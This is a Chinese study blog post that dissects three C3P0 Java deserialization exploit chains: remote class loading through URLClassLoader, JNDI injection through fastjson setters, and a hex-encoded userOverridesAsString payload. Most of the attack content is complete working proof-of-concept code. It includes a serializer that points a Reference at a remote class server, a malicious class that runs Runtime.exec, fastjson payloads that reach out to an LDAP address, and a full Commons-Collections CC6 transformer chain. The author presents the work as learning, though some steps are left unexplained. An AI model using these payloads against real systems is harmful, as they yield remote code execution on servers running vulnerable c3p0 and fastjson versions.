c3P0链学习
目录C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
环境
jdk8u65
pom.xml 如下
URLClassLoader 远程类加载 出网
利用条件
需要cc和fastjson的依赖
逆向分析
我们找一下什么能够去调用 URLClassLoader 加载类的方法
找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法
我们看到他的方法
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}
会获取ref的classname和class的地址,如果我们的class地址为null,则直接使用当前线程的上下文作为classloader
如果不为null,则跟进url创建一个新的urlclassloader去加载
使用反射加载工厂类,并实例化该工厂类。
最后,调用ObjectFactory接口的getObjectInstance方法,将Reference对象转换为相应的对象实例并返回。
我们去找谁调用了referenceToObject()方法
ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject()
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
}
首先,在try块中,代码尝试获取初始上下文(initialContext)。如果环境变量env为null,则创建一个默认的初始上下文;否则,使用带有给定环境变量的InitialContext。
接着,尝试获取名称上下文(nameContext)。如果设置了contextName,则通过initialContext查找该名称上下文。
最后,调用ReferenceableUtils类中的referenceToObject方法,传入Reference对象、名称name、名称上下文nameContext以及环境变量env,以获取对象实例并返回。
这里出现了lookup,有jndi注入的可能,但是contentname不可以控制
然后发现PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject()
整个链子就已经完成了
但是我们还需要分析,对链子涉及的参数了解
其实poolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject()这步远远没有那么简单,我看了半天没看懂,
正向分析
我只能通过正向去分析一下了
先给出poc
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}
至于为什么会要重写那么多方法,因为自己定义了一个类,继承了ConnectionPoolDataSource , Referenceable接口,那我必须重写里面的抽象方法
然后我们正向分析一波
我们看到PoolBackedDataSourceBase类的writeObject方法
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作
我们看到这个类
发现它没有继承序列化接口,不能序列化,会进入catch
我们orig传入的是connectionPoolDataSource,所以会调用connectionPoolDataSource属性的getReference方法
并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回然后序列化它
我们发现这里传入的var1是我们可以控制的,也就是Reference是我们可以控制的,所以返回的ReferenceSerialized对象我们就可以控制,里面的参数我们也可以控制
然后来到readobject方法,它接收的是我们
它会调用 o = ((IndirectlySerialized)o).getObject();
可以看到会调用序列流中的对象的getObject方法,结合上文,如果ReferenceSerialized被序列化到了序列流中,那么这里可以是ReferenceSerialized#getObject
也就是ReferenceIndirector的getobject方法
跟进后可以发现调用了ReferenceableUtils.referenceToObject这个静态方法,再度进行跟进
发现就回到了出口类了
其他var0是我们可以控制的,而classname和classlocation就是根据var0的来的
所以我们就可以开始利用了
有个getReference方法,直接返回一个Reference对象
我们可以通过该方法直接构造对象
按照getReference方法再重写一个方法
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
然后修改connectionPoolDataSource,因为是私有,还需要我们的反射
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
总结
漏洞出现在PoolBackedDataSourceBase这个类的readObject中。如果反序列化得到的类是IndirectlySerialized的实例,则会调用其getObject()方法,然后将返回的类转为ConnectionPoolDataSource类,而我们通过对refenrce的控制从而控制了ConnectionPoolDataSource,让它变成了我们远程的恶意方法
复现漏洞
只需要先起一个python服务
上面放恶意的class文件
import java.io.IOException;
public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后运行poc就可以了
C3P0 之 JNDI 注入 出网
看着名字就知道应该是JNDI调用set或者get方法时触发了C3P0的链去触发漏洞
入口类肯定还是JNDI的method.invoke(object, value);
我们直接从出口开始分析
利用条件
需要cc和fastjson的依赖
发现者视角
在全局搜索jndi,随便进入一个类,再搜jndi的关键词,然后就随便找找方法
看到了这个方法:dereference()
发现很多loodup啊
接收的是jndiname,看看jndiname是什么东西
是由 this.getJndiName()的来的,我们跟进这个方法
这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String
回到我们的dereference方法
发现是可以传入string类型的
我们看看什么地方调用了dereference方法
同一个类下的 inner() 方法调用了它,而且非常多的get,set方法调用了inner
满足了fastjson的调用条件
正向分析
先给出链子
#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
我们看到JndiRefConnectionPoolDataSource类
它里面有set方法可以为jndiname赋值
public void setJndiName( Object jndiName ) throws PropertyVetoException
{ jrfds.setJndiName( jndiName ); }
...
public void setJndiName( Object jndiName ) throws PropertyVetoException
{
Object oldVal = this.jndiName;
if ( ! eqOrBothNull( oldVal, jndiName ) )
vcs.fireVetoableChange( "jndiName", oldVal, jndiName );
this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */);
if ( ! eqOrBothNull( oldVal, jndiName ) )
pcs.firePropertyChange( "jndiName", oldVal, jndiName );
}
所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource的setJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase的setJndiName。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout
然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource累的setloginTimeout,调用inner方法,跟进去
继续调用dereference方法,继续跟进
跟进去就发现会调用我们ctx.lookup((String)jndiName),完成jndi注入
漏洞复现
加入依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
有很多方方式
JndiRefForwardingDataSource的 EXP 如下
因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调
package JNDIVul;
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。
public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
或者fastjson
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
![
C3P0之hex序列化 不出网
利用条件
cc和fastjson的依赖
正向分析
首先有一个类是WrapperConnectionPoolDataSource
我们看到他的构造方法
调用了C3P0ImplUtils.parseUserOverridesAsString
我们跟进
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
首先判断userOverridesAsString 是否为空,如果不为空,就对我们传入的字符进行截取,将HASM_HEADER头和最后一位的;扣掉
然后将十六进制转换成字节数组,然后调用SerializableUtils#fromByteArray方法解析字节数组。
我们跟进fromByteArray
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}
...
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
我们的in就是经过处理后的16进制字节封装在一个对象中
然后去反序列化它
所以如果我们的字节内容可以控制,其实就可以造成漏洞
?????怎么从set方法调用到的,看不懂
漏洞复现
运行poc即可
package C3P0;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class C3P0_Hex {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
C3P0不出网无依赖的利用
还没学,以后学。。。。
标签:class,C3P0,throws,学习,import,new,jndiName,public From: https://www.cnblogs.com/nn0nkey/p/18224264